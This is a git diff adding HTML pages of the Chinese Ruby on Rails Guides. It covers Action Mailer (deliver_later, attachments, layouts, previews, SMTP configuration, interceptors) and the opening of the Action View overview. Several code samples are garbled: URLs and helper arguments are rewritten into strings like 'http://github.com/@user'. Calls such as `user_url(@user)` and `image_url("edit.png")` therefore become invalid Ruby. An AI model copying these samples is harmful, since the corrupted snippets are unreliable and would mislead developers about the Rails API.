+        # 让 UserMailer 在保存之后发送一封欢迎邮件
+        UserMailer.welcome_email(@user).deliver_later
+
+        format.html { redirect_to(@user, notice: 'User was successfully created.') }
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: 'new' }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+end
+
+
+
+

Active Job 的默认行为是通过 :async 适配器执行作业。因此,这里可以使用 deliver_later,异步发送电子邮件。 Active Job 的默认适配器在一个进程内线程池里运行作业。这一行为特别适合开发和测试环境,因为无需额外的基础设施,但是不适合在生产环境中使用,因为重启服务器后,待执行的作业会被丢弃。如果需要持久性后端,要使用支持持久后端的 Active Job 适配器(Sidekiq、Resque,等等)。

如果想立即发送电子邮件(例如,使用 cronjob),调用 deliver_now 即可:

+
+class SendWeeklySummary
+  def run
+    User.find_each do |user|
+      UserMailer.weekly_summary(user).deliver_now
+    end
+  end
+end
+
+
+
+

welcome_email 方法返回一个 ActionMailer::MessageDelivery 对象,在其上调用 deliver_nowdeliver_later 方法即可发送邮件。ActionMailer::MessageDelivery 对象只是对 Mail::Message 对象的包装。如果想审查、调整或对 Mail::Message 对象做其他处理,可以在 ActionMailer::MessageDelivery 对象上调用 message 方法,获取 Mail::Message 对象。

2.2 自动编码邮件头

Action Mailer 会自动编码邮件头和邮件主体中的多字节字符。

更复杂的需求,例如使用其他字符集和自编码文字,请参考 Mail 库。

2.3 Action Mailer 方法详解

下面这三个方法是邮件程序中最重要的方法:

+
    +
  • headers:设置邮件头,可以指定一个由字段名和值组成的散列,也可以使用 headers[:field_name] = 'value' 形式;
  • +
  • attachments:添加邮件的附件,例如,attachments['file-name.jpg'] = File.read('file-name.jpg')
  • +
  • mail:发送邮件,传入的值为散列形式的邮件头,mail 方法负责创建邮件——纯文本或多种格式,这取决于定义了哪种邮件模板;
  • +
+

2.3.1 添加附件

在 Action Mailer 中添加附件十分方便。

+
    +
  • +

    传入文件名和内容,Action Mailer 和 Mail gem 会自动猜测附件的 MIME 类型,设置编码并创建附件。

    +
    +
    +attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
    +
    +
    +
    +

    触发 mail 方法后,会发送一个由多部分组成的邮件,附件嵌套在类型为 multipart/mixed 的顶级结构中,其中第一部分的类型为 multipart/alternative,包含纯文本和 HTML 格式的邮件内容。

    +

    Mail gem 会自动使用 Base64 编码附件。如果想使用其他编码方式,可以先编码好,再把编码后的附件通过散列传给 attachments 方法。

    +
  • +
  • +

    传入文件名,指定邮件头和内容,Action Mailer 和 Mail gem 会使用传入的参数添加附件。

    +
    +
    +encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
    +attachments['filename.jpg'] = {
    +  mime_type: 'application/gzip',
    +  encoding: 'SpecialEncoding',
    +  content: encoded_content
    +}
    +
    +
    +
    +

    如果指定编码,Mail gem 会认为附件已经编码了,不会再使用 Base64 编码附件。

    +
  • +
+

2.3.2 使用行间附件

在 Action Mailer 3.0 中使用行间附件比之前版本简单得多。

+
    +
  • +

    首先,在 attachments 方法上调用 inline 方法,告诉 Mail 这是个行间附件:

    +
    +
    +def welcome
    +  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
    +end
    +
    +
    +
    +
  • +
  • +

    在视图中,可以直接使用 attachments 方法,将其视为一个散列,指定想要使用的附件,在其上调用 url 方法,再把结果传给 image_tag 方法:

    +
    +
    +<p>Hello there, this is our image</p>
    +
    +<%= image_tag attachments['image.jpg'].url %>
    +
    +
    +
    +
  • +
  • +

    因为我们只是简单地调用了 image_tag 方法,所以和其他图像一样,在附件地址之后,还可以传入选项散列:

    +
    +
    +<p>Hello there, this is our image</p>
    +
    +<%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
    +
    +
    +
    +
  • +
+

2.3.3 把邮件发给多个收件人

若想把一封邮件发送给多个收件人,例如通知所有管理员有新用户注册,可以把 :to 键的值设为一组邮件地址。这一组邮件地址可以是一个数组;也可以是一个字符串,使用逗号分隔各个地址。

+
+class AdminMailer < ApplicationMailer
+  default to: Proc.new { Admin.pluck(:email) },
+          from: 'notification@example.com'
+
+  def new_registration(user)
+    @user = user
+    mail(subject: "New User Signup: #{@user.email}")
+  end
+end
+
+
+
+

使用类似的方式还可添加抄送和密送,分别设置 :cc:bcc 键即可。

2.3.4 发送带名字的邮件

有时希望收件人在邮件中看到自己的名字,而不只是邮件地址。实现这种需求的方法是把邮件地址写成 "Full Name <email>" 格式。

+
+def welcome_email(user)
+  @user = user
+  email_with_name = %("#{@user.name}" <#{@user.email}>)
+  mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+
+
+
+

2.4 邮件视图

邮件视图保存在 app/views/name_of_mailer_class 文件夹中。邮件程序之所以知道使用哪个视图,是因为视图文件名和邮件程序的方法名一致。在前例中,welcome_email 方法的 HTML 格式视图是 app/views/user_mailer/welcome_email.html.erb,纯文本格式视图是 welcome_email.text.erb

若想修改动作使用的视图,可以这么做:

+
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site',
+         template_path: 'notifications',
+         template_name: 'another')
+  end
+end
+
+
+
+

此时,邮件程序会在 app/views/notifications 文件夹中寻找名为 another 的视图。template_path 的值还可以是一个路径数组,按照顺序查找视图。

如果想获得更多灵活性,可以传入一个块,渲染指定的模板,或者不使用模板,渲染行间代码或纯文本:

+
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site') do |format|
+      format.html { render 'another_template' }
+      format.text { render plain: 'Render text' }
+    end
+  end
+end
+
+
+
+

上述代码会使用 another_template.html.erb 渲染 HTML,使用 'Render text' 渲染纯文本。这里用到的 render 方法和控制器中的一样,所以选项也都是一样的,例如 :text:inline 等。

2.4.1 缓存邮件视图

在邮件视图中可以像在应用的视图中一样使用 cache 方法缓存视图。

+
+<% cache do %>
+  <%= @company.name %>
+<% end %>
+
+
+
+

若想使用这个功能,要在应用中做下述配置:

+
+config.action_mailer.perform_caching = true
+
+
+
+

2.5 Action Mailer 布局

和控制器一样,邮件程序也可以使用布局。布局的名称必须和邮件程序一样,例如 user_mailer.html.erbuser_mailer.text.erb 会自动识别为邮件程序的布局。

如果想使用其他布局文件,可以在邮件程序中调用 layout 方法:

+
+class UserMailer < ApplicationMailer
+  layout 'awesome' # 使用 awesome.(html|text).erb 做布局
+end
+
+
+
+

还是跟控制器视图一样,在邮件程序的布局中调用 yield 方法可以渲染视图。

format 块中可以把 layout: 'layout_name' 选项传给 render 方法,指定某个格式使用其他布局:

+
+class UserMailer < ApplicationMailer
+  def welcome_email(user)
+    mail(to: user.email) do |format|
+      format.html { render layout: 'my_layout' }
+      format.text
+    end
+  end
+end
+
+
+
+

上述代码会使用 my_layout.html.erb 文件渲染 HTML 格式;如果 user_mailer.text.erb 文件存在,会用来渲染纯文本格式。

2.6 预览电子邮件

Action Mailer 提供了预览功能,通过一个特殊的 URL 访问。对上述示例来说,UserMailer 的预览类是 UserMailerPreview,存储在 test/mailers/previews/user_mailer_preview.rb 文件中。如果想预览 welcome_email,实现一个同名方法,在里面调用 UserMailer.welcome_email

+
+class UserMailerPreview < ActionMailer::Preview
+  def welcome_email
+    UserMailer.welcome_email(User.first)
+  end
+end
+
+
+
+

然后便可以访问 http://localhost:3000/rails/mailers/user_mailer/welcome_email 预览。

如果修改 app/views/user_mailer/welcome_email.html.erb 文件或邮件程序本身,预览会自动重新加载,立即让你看到新样式。预览列表可以访问 http://localhost:3000/rails/mailers 查看。

默认情况下,预览类存放在 test/mailers/previews 文件夹中。这个位置可以使用 preview_path 选项配置。假如想把它改成 lib/mailer_previews,可以在 config/application.rb 文件中这样配置:

+
+config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+
+
+
+

2.7 在邮件视图中生成 URL

与控制器不同,邮件程序不知道请求的上下文,因此要自己提供 :host 参数。

一个应用的 :host 参数一般是不变的,可以在 config/application.rb 文件中做全局配置:

+
+config.action_mailer.default_url_options = { host: 'example.com' }
+
+
+
+

鉴于此,在邮件视图中不能使用任何 *_path 辅助方法,而要使用相应的 *_url 辅助方法。例如,不能这样写:

+
+<%= link_to 'welcome', welcome_path %>
+
+
+
+

而要这样写:

+
+<%= link_to 'welcome', welcome_url %>
+
+
+
+

使用完整的 URL,电子邮件中的链接才有效。

2.7.1 使用 url_for 方法生成 URL

默认情况下,url_for 在模板中生成完整的 URL。

如果没有配置全局的 :host 选项,别忘了把它传给 url_for 方法。

+
+<%= url_for(host: 'example.com',
+            controller: 'welcome',
+            action: 'greeting') %>
+
+
+
+

2.7.2 使用具名路由生成 URL

电子邮件客户端不能理解网页的上下文,没有生成完整地址的基地址,所以使用具名路由辅助方法时一定要使用 _url 形式。

如果没有设置全局的 :host 选项,一定要将其传给 URL 辅助方法。

+
+<%= user_url(http://github.com/@user,%20host:%20'example.com') %>
+
+
+
+

GET 之外的链接需要 rails-ujsjQuery UJS,在邮件模板中无法使用。如若不然,都会变成常规的 GET 请求。

2.8 在邮件视图中添加图像

与控制器不同,邮件程序不知道请求的上下文,因此要自己提供 :asset_host 参数。

一个应用的 :asset_host 参数一般是不变的,可以在 config/application.rb 文件中做全局配置:

+
+config.action_mailer.asset_host = 'http://example.com/'
+
+
+
+

现在可以在电子邮件中显示图像了:

+
+<%= image_tag 'image.jpg' %>
+
+
+
+

2.9 发送多种格式邮件

如果一个动作有多个模板,Action Mailer 会自动发送多种格式的邮件。例如前面的 UserMailer,如果在 app/views/user_mailer 文件夹中有 welcome_email.text.erbwelcome_email.html.erb 两个模板,Action Mailer 会自动发送 HTML 和纯文本格式的邮件。

格式的顺序由 ActionMailer::Base.default 方法的 :parts_order 选项决定。

2.10 发送邮件时动态设置发送选项

如果在发送邮件时想覆盖发送选项(例如,SMTP 凭据),可以在邮件程序的动作中设定 delivery_method_options 选项。

+
+class UserMailer < ApplicationMailer
+  def welcome_email(user, company)
+    @user = user
+    @url  = user_url(http://github.com/@user)
+    delivery_options = { user_name: company.smtp_user,
+                         password: company.smtp_password,
+                         address: company.smtp_host }
+    mail(to: @user.email,
+         subject: "Please see the Terms and Conditions attached",
+         delivery_method_options: delivery_options)
+  end
+end
+
+
+
+

2.11 不渲染模板

有时可能不想使用布局,而是直接使用字符串渲染邮件内容,为此可以使用 :body 选项。但是别忘了指定 :content_type 选项,否则 Rails 会使用默认值 text/plain

+
+class UserMailer < ApplicationMailer
+  def welcome_email(user, email_body)
+    mail(to: user.email,
+         body: email_body,
+         content_type: "text/html",
+         subject: "Already rendered!")
+  end
+end
+
+
+
+

3 接收电子邮件

使用 Action Mailer 接收和解析电子邮件是件相当麻烦的事。接收电子邮件之前,要先配置系统,把邮件转发给 Rails 应用,然后做监听。因此,在 Rails 应用中接收电子邮件要完成以下步骤:

+
    +
  • 在邮件程序中实现 receive 方法;
  • +
  • 配置电子邮件服务器,把想通过应用接收的地址转发到 /path/to/app/bin/rails runner 'UserMailer.receive(STDIN.read)'
  • +
+

在邮件程序中定义 receive 方法后,Action Mailer 会解析收到的原始邮件,生成邮件对象,解码邮件内容,实例化一个邮件程序,把邮件对象传给邮件程序的 receive 实例方法。下面举个例子:

+
+class UserMailer < ApplicationMailer
+  def receive(email)
+    page = Page.find_by(address: email.to.first)
+    page.emails.create(
+      subject: email.subject,
+      body: email.body
+    )
+
+    if email.has_attachments?
+      email.attachments.each do |attachment|
+        page.attachments.create({
+          file: attachment,
+          description: email.subject
+        })
+      end
+    end
+  end
+end
+
+
+
+

4 Action Mailer 回调

在 Action Mailer 中也可设置 before_actionafter_actionaround_action

+
    +
  • 与控制器中的回调一样,可以指定块,或者方法名的符号形式;
  • +
  • before_action 中可以使用 defaultsdelivery_method_options 方法,或者指定默认的邮件头和附件;
  • +
  • +

    after_action 可以实现类似 before_action 的功能,而且在 after_action 中可以使用邮件程序动作中设定的实例变量;

    +
    +
    +class UserMailer < ApplicationMailer
    +  after_action :set_delivery_options,
    +               :prevent_delivery_to_guests,
    +               :set_business_headers
    +
    +  def feedback_message(business, user)
    +    @business = business
    +    @user = user
    +    mail
    +  end
    +
    +  def campaign_message(business, user)
    +    @business = business
    +    @user = user
    +  end
    +
    +  private
    +
    +    def set_delivery_options
    +      # 在这里可以访问 mail 实例,以及实例变量 @business 和 @user
    +      if @business && @business.has_smtp_settings?
    +        mail.delivery_method.settings.merge!(@business.smtp_settings)
    +      end
    +    end
    +
    +    def prevent_delivery_to_guests
    +      if @user && @user.guest?
    +        mail.perform_deliveries = false
    +      end
    +    end
    +
    +    def set_business_headers
    +      if @business
    +        headers["X-SMTPAPI-CATEGORY"] = @business.code
    +      end
    +    end
    +end
    +
    +
    +
    +
  • +
  • 如果在回调中把邮件主体设为 nil 之外的值,会阻止执行后续操作;

  • +
+

5 使用 Action Mailer 辅助方法

Action Mailer 继承自 AbstractController,因此为控制器定义的辅助方法都可以在邮件程序中使用。

6 配置 Action Mailer

下述配置选项最好在环境相关的文件(environment.rbproduction.rb,等等)中设置。

完整的配置说明参见 配置 Action Mailer

6.1 Action Mailer 设置示例

可以把下面的代码添加到 config/environments/$RAILS_ENV.rb 文件中:

+
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   location: '/usr/sbin/sendmail',
+#   arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-reply@example.com'}
+
+
+
+

6.2 配置 Action Mailer 使用 Gmail

Action Mailer 现在使用 Mail gem,配置使用 Gmail 更简单,把下面的代码添加到 config/environments/$RAILS_ENV.rb 文件中即可:

+
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  address:              'smtp.gmail.com',
+  port:                 587,
+  domain:               'example.com',
+  user_name:            '<username>',
+  password:             '<password>',
+  authentication:       'plain',
+  enable_starttls_auto: true  }
+
+
+
+

从 2014 年 7 月 15 日起,Google 增强了安全措施,会阻止它认为不安全的应用访问。你可以在这里修改 Gmail 的设置,允许访问。如果你的 Gmail 账户启用了双因素身份验证,则要设定一个应用密码,用它代替常规的密码。或者,你也可以使用其他 ESP 发送电子邮件:把上面的 'smtp.gmail.com' 换成提供商的地址。

7 测试邮件程序

邮件程序的测试参阅 测试邮件程序

8 拦截电子邮件

有时,在邮件发送之前需要做些修改。Action Mailer 提供了相应的钩子,可以拦截每封邮件。你可以注册一个拦截器,在交给发送程序之前修改邮件。

+
+class SandboxEmailInterceptor
+  def self.delivering_email(message)
+    message.to = ['sandbox@example.com']
+  end
+end
+
+
+
+

使用拦截器之前要在 Action Mailer 框架中注册,方法是在初始化脚本 config/initializers/sandbox_email_interceptor.rb 中添加以下代码:

+
+if Rails.env.staging?
+  ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
+end
+
+
+
+

上述代码中使用的是自定义环境,名为“staging”。这个环境和生产环境一样,但只做测试之用。关于自定义环境的详细说明,参阅 创建 Rails 环境

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/action_view_overview.html b/action_view_overview.html new file mode 100644 index 0000000..71031ca --- /dev/null +++ b/action_view_overview.html @@ -0,0 +1,1439 @@ + + + + + + + +Action View 概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Action View 概览

读完本文后,您将学到:

+
    +
  • Action View 是什么,如何在 Rails 中使用 Action View;
  • +
  • 模板、局部视图和布局的最佳使用方法;
  • +
  • Action View 提供了哪些辅助方法,如何自己编写辅助方法;
  • +
  • 如何使用本地化视图。
  • +
+ + + + +
+
+ +
+
+
+

本文原文尚未完工!

1 Action View 是什么

在 Rails 中,Web 请求由 Action Controller(请参阅Action Controller 概览)和 Action View 处理。通常,Action Controller 参与和数据库的通信,并在需要时执行 CRUD 操作,然后由 Action View 负责编译响应。

Action View 模板使用混合了 HTML 标签的嵌入式 Ruby 语言编写。为了避免样板代码把模板弄乱,Action View 提供了许多辅助方法,用于创建表单、日期和字符串等常用组件。随着开发的深入,为应用添加新的辅助方法也很容易。

Action View 的某些特性与 Active Record 有关,但这并不意味着 Action View 依赖 Active Record。Action View 是独立的软件包,可以和任何类型的 Ruby 库一起使用。

2 在 Rails 中使用 Action View

app/views 文件夹中,每个控制器都有一个对应的文件夹,其中保存了控制器对应视图的模板文件。这些模板文件用于显示每个控制器动作产生的视图。

在 Rails 中使用脚手架生成器新建资源时,默认会执行下面的操作:

+
+$ bin/rails generate scaffold article
+      [...]
+      invoke  scaffold_controller
+      create    app/controllers/articles_controller.rb
+      invoke    erb
+      create      app/views/articles
+      create      app/views/articles/index.html.erb
+      create      app/views/articles/edit.html.erb
+      create      app/views/articles/show.html.erb
+      create      app/views/articles/new.html.erb
+      create      app/views/articles/_form.html.erb
+      [...]
+
+
+
+

在上面的输出结果中我们可以看到 Rails 中视图的命名约定。通常,视图和对应的控制器动作共享名称。例如,articles_controller.rb 控制器文件中的 index 动作对应 app/views/articles 文件夹中的 index.html.erb 视图文件。返回客户端的完整 HTML 由 ERB 视图文件和包装它的布局文件,以及视图可能引用的所有局部视图文件组成。后文会详细说明这三种文件。

3 模板、局部视图和布局

前面说过,最后输出的 HTML 由模板、局部视图和布局这三种 Rails 元素组成。下面分别进行简要介绍。

3.1 模板

Action View 模板可以用多种方式编写。扩展名是 .erb 的模板文件混合使用 ERB(嵌入式 Ruby)和 HTML 编写,扩展名是 .builder 的模板文件使用 Builder::XmlMarkup 库编写。

Rails 支持多种模板系统,并使用文件扩展名加以区分。例如,使用 ERB 模板系统的 HTML 文件的扩展名是 .html.erb

3.1.1 ERB 模板

在 ERB 模板中,可以使用 <% %><%= %> 标签来包含 Ruby 代码。<% %> 标签用于执行不返回任何内容的 Ruby 代码,例如条件、循环或块,而 <%= %> 标签用于输出 Ruby 代码的执行结果。

下面是一个循环输出名称的例子:

+
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br>
+<% end %>
+
+
+
+

在上面的代码中,使用普通嵌入标签(<% %>)建立循环,使用输出嵌入标签(<%= %>)插入名称。请注意,这种用法不仅仅是建议用法(而是必须这样使用),因为在 ERB 模板中,普通的输出方法,例如 printputs 方法,无法正常渲染。因此,下面的代码是错误的:

+
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+
+
+
+

要想删除前导和结尾空格,可以把 <% %> 标签替换为 <%- -%> 标签。

3.1.2 Builder 模板

和 ERB 模板相比,Builder 模板更加按部就班,常用于生成 XML 内容。在扩展名为 .builder 的模板中,可以直接使用名为 xml 的 XmlMarkup 对象。

下面是一些简单的例子:

+
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org/")
+xml.target("name" => "compile", "option" => "fast")
+
+
+
+

上面的代码会生成下面的 XML:

+
+<em>emphasized</em>
+<em><b>emph &amp; bold</b></em>
+<a href="http://rubyonrails.org/">A link</a>
+<target option="fast" name="compile" />
+
+
+
+

带有块的方法会作为 XML 标签处理,块中的内容会嵌入这个标签中。例如:

+
+xml.div {
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+}
+
+
+
+

上面的代码会生成下面的 XML:

+
+<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+
+
+
+

下面是 Basecamp 网站用于生成 RSS 的完整的实际代码:

+
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    for item in @recent_items
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(http://github.com/item))
+        xml.link(@person.firm.account.url + @recent_items.url(http://github.com/item))
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+
+
+
+

3.1.3 Jbuilder 模板系统

Jbuilder 是由 Rails 团队维护并默认包含在 Rails Gemfile 中的 gem。它类似 Builder,但用于生成 JSON,而不是 XML。

如果你的应用中没有 Jbuilder 这个 gem,可以把下面的代码添加到 Gemfile:

+
+gem 'jbuilder'
+
+
+
+

在扩展名为 .jbuilder 的模板中,可以直接使用名为 json 的 Jbuilder 对象。

下面是一个简单的例子:

+
+json.name("Alex")
+json.email("alex@example.com")
+
+
+
+

上面的代码会生成下面的 JSON:

+
+{
+  "name": "Alex",
+  "email": "alex@example.com"
+}
+
+
+
+

关于 Jbuilder 模板的更多例子和信息,请参阅 Jbuilder 文档

3.1.4 模板缓存

默认情况下,Rails 会把所有模板分别编译为方法,以便进行渲染。在开发环境中,当我们修改了模板时,Rails 会检查文件的修改时间并自动重新编译。

3.2 局部视图

局部视图模板,通常直接称为“局部视图”,作用是把渲染过程分成多个更容易管理的部分。局部视图从模板中提取代码片断并保存在独立的文件中,然后在模板中重用。

3.2.1 局部视图的名称

在视图中我们使用 render 方法来渲染局部视图:

+
+<%= render "menu" %>
+
+
+
+

在渲染视图的过程中,上面的代码会渲染 _menu.html.erb 局部视图文件。请注意开头的下划线:局部视图的文件名总是以下划线开头,以便和普通视图文件区分开来,但在引用局部视图时不写下划线。从其他文件夹中加载局部视图文件时同样遵守这一规则:

+
+<%= render "shared/menu" %>
+
+
+
+

上面的代码会加载 app/views/shared/_menu.html.erb 局部视图文件。

3.2.2 使用局部视图来简化视图

使用局部视图的一种方式是把它们看作子程序(subroutine),也就是把细节内容从视图中移出来,这样会使视图更容易理解。例如:

+
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+
+<%= render "shared/footer" %>
+
+
+
+

在上面的代码中,_ad_banner.html.erb_footer.html.erb 局部视图可以在多个页面中使用。当我们专注于实现某个页面时,不必关心这些局部视图的细节。

3.2.3 不使用 partiallocals 选项进行渲染

在前面的例子中,render 方法有两个选项:partiallocals。如果一共只有这两个选项,那么可以跳过不写。例如,下面的代码:

+
+<%= render partial: "product", locals: { product: @product } %>
+
+
+
+

可以改写为:

+
+<%= render "product", product: @product %>
+
+
+
+

3.2.4 asobject 选项

默认情况下,ActionView::Partials::PartialRenderer 的对象储存在和模板同名的局部变量中。因此,我们可以扩展下面的代码:

+
+<%= render partial: "product" %>
+
+
+
+

_product 局部视图中,我们可以通过局部变量 product 引用 @product 实例变量:

+
+<%= render partial: "product", locals: { product: @product } %>
+
+
+
+

object 选项用于直接指定想要在局部视图中使用的对象,常用于模板对象位于其他地方(例如位于其他实例变量或局部变量中)的情况。例如,下面的代码:

+
+<%= render partial: "product", locals: { product: @item } %>
+
+
+
+

可以改写为:

+
+<%= render partial: "product", object: @item %>
+
+
+
+

使用 as 选项可以为局部变量指定别的名称。例如,如果想把 product 换成 item,可以这么做:

+
+<%= render partial: "product", object: @item, as: "item" %>
+
+
+
+

这等效于:

+
+<%= render partial: "product", locals: { item: @item } %>
+
+
+
+

3.2.5 渲染集合

模板经常需要遍历集合并使用集合中的每个元素分别渲染子模板。在 Rails 中我们只需一行代码就可以完成这项工作。例如,下面这段渲染产品局部视图的代码:

+
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+
+
+
+

可以改写为:

+
+<%= render partial: "product", collection: @products %>
+
+
+
+

当使用集合来渲染局部视图时,在每个局部视图实例中,都可以使用和局部视图同名的局部变量来访问集合中的元素。在本例中,局部视图是 _product,在这个局部视图中我们可以通过 product 局部变量来访问用于渲染局部视图的集合中的元素。

渲染集合还有一个简易写法。假设 @productsProduct 实例的集合,上面的代码可以改写为:

+
+<%= render @products %>
+
+
+
+

Rails 会根据集合中的模型名来确定应该使用哪个局部视图,在本例中模型名是 Product。实际上,我们甚至可以使用这种简易写法来渲染由不同模型实例组成的集合,Rails 会为集合中的每个元素选择适当的局部视图。

3.2.6 间隔模板

我们还可以使用 :spacer_template 选项来指定第二个局部视图(也就是间隔模板),在渲染第一个局部视图(也就是主局部视图)的两个实例之间会渲染这个间隔模板:

+
+<%= render partial: @products, spacer_template: "product_ruler" %>
+
+
+
+

上面的代码会在两个 _product 局部视图(主局部视图)之间渲染 _product_ruler 局部视图(间隔模板)。

3.3 布局

布局是渲染 Rails 控制器返回结果时使用的公共视图模板。通常,Rails 应用中会包含多个视图用于渲染不同页面。例如,网站中用户登录后页面的布局,营销或销售页面的布局。用户登录后页面的布局可以包含在多个控制器动作中出现的顶级导航。SaaS 应用的销售页面布局可以包含指向“定价”和“联系我们”页面的顶级导航。不同布局可以有不同的外观和感官。关于布局的更多介绍,请参阅Rails 布局和视图渲染

4 局部布局

应用于局部视图的布局称为局部布局。局部布局和应用于控制器动作的全局布局不一样,但两者的工作方式类似。

比如说我们想在页面中显示文章,并把文章放在 div 标签里。首先,我们新建一个 Article 实例:

+
+Article.create(body: 'Partial Layouts are cool!')
+
+
+
+

show 模板中,我们要在 box 布局中渲染 _article 局部视图:

articles/show.html.erb

+
+<%= render partial: 'article', layout: 'box', locals: { article: @article } %>
+
+
+
+

box 布局只是把 _article 局部视图放在 div 标签里:

articles/_box.html.erb

+
+<div class='box'>
+  <%= yield %>
+</div>
+
+
+
+

请注意,局部布局可以访问传递给 render 方法的局部变量 article。不过,和全局部局不同,局部布局的文件名以下划线开头。

我们还可以直接渲染代码块而不调用 yield 方法。例如,如果不使用 _article 局部视图,我们可以像下面这样编写代码:

articles/show.html.erb

+
+<% render(layout: 'box', locals: { article: @article }) do %>
+  <div>
+    <p><%= article.body %></p>
+  </div>
+<% end %>
+
+
+
+

假设我们使用的 _box 局部布局和前面一样,那么这里模板的渲染结果也会和前面一样。

5 视图路径

在渲染响应时,控制器需要解析不同视图所在的位置。默认情况下,控制器只查找 app/views 文件夹。

我们可以使用 prepend_view_pathappend_view_path 方法分别在查找路径的开头和结尾添加其他位置。

5.1 在开头添加视图路径

例如,当需要把视图放在子域名的不同文件夹中时,我们可以使用下面的代码:

+
+prepend_view_path "app/views/#{request.subdomain}"
+
+
+
+

这样在解析视图时,Action View 会首先查找这个文件夹。

5.2 在末尾添加视图路径

同样,我们可以在查找路径的末尾添加视图路径:

+
+append_view_path "app/views/direct"
+
+
+
+

上面的代码会在查找路径的末尾添加 app/views/direct 文件夹。

6 Action View 提供的辅助方法概述

本节内容仍在完善中,目前并没有列出所有辅助方法。关于辅助方法的完整列表,请参阅 API 文档

本节内容只是对 Action View 中可用辅助方法的简要概述。在阅读本节内容之后,推荐查看 API 文档,文档详细介绍了所有辅助方法。

6.1 AssetTagHelper 模块

AssetTagHelper 模块提供的方法用于生成链接静态资源文件的 HTML 代码,例如链接图像、JavaScript 文件和订阅源的 HTML 代码。

默认情况下,Rails 会链接当前主机 public 文件夹中的静态资源文件。要想链接专用的静态资源文件服务器上的文件,可以设置 Rails 应用配置文件(通常是 config/environments/production.rb 文件)中的 config.action_controller.asset_host 选项。假如静态资源文件服务器的域名是 assets.example.com,我们可以像下面这样设置:

+
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+
+
+
+

auto_discovery_link_tag 方法用于返回链接标签,使浏览器和订阅阅读器可以自动检测 RSS 或 Atom 订阅源。

+
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
+# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
+
+
+
+

6.1.2 image_path 方法

image_path 方法用于计算 app/assets/images 文件夹中图像资源的路径,得到的路径是从根目录开始的完整路径(也就是绝对路径)。image_tag 方法在内部使用 image_path 方法生成图像路径。

+
+image_path("edit.png") # => /assets/edit.png
+
+
+
+

config.assets.digest 选项设置为 true 时,Rails 会为图像资源的文件名添加指纹。

+
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+
+
+
+

6.1.3 image_url 方法

image_url 方法用于计算 app/assets/images 文件夹中图像资源的 URL 地址。image_url 方法在内部调用了 image_path 方法,并把得到的图像资源路径和当前主机或静态资源文件服务器的 URL 地址合并。

+
+image_url("http://github.com/edit.png") # => http://www.example.com/assets/edit.png
+
+
+
+

6.1.4 image_tag 方法

image_tag 方法用于返回 HTML 图像标签。此方法接受图像的完整路径或 app/assets/images 文件夹中图像的文件名作为参数。

+
+image_tag("icon.png") # => <img src="http://github.com/assets/icon.png" alt="Icon" />
+
+
+
+

6.1.5 javascript_include_tag 方法

javascript_include_tag 方法用于返回 HTML 脚本标签。此方法接受 app/assets/javascripts 文件夹中 JavaScript 文件的文件名(.js 后缀可以省略)或 JavaScript 文件的完整路径(绝对路径)作为参数。

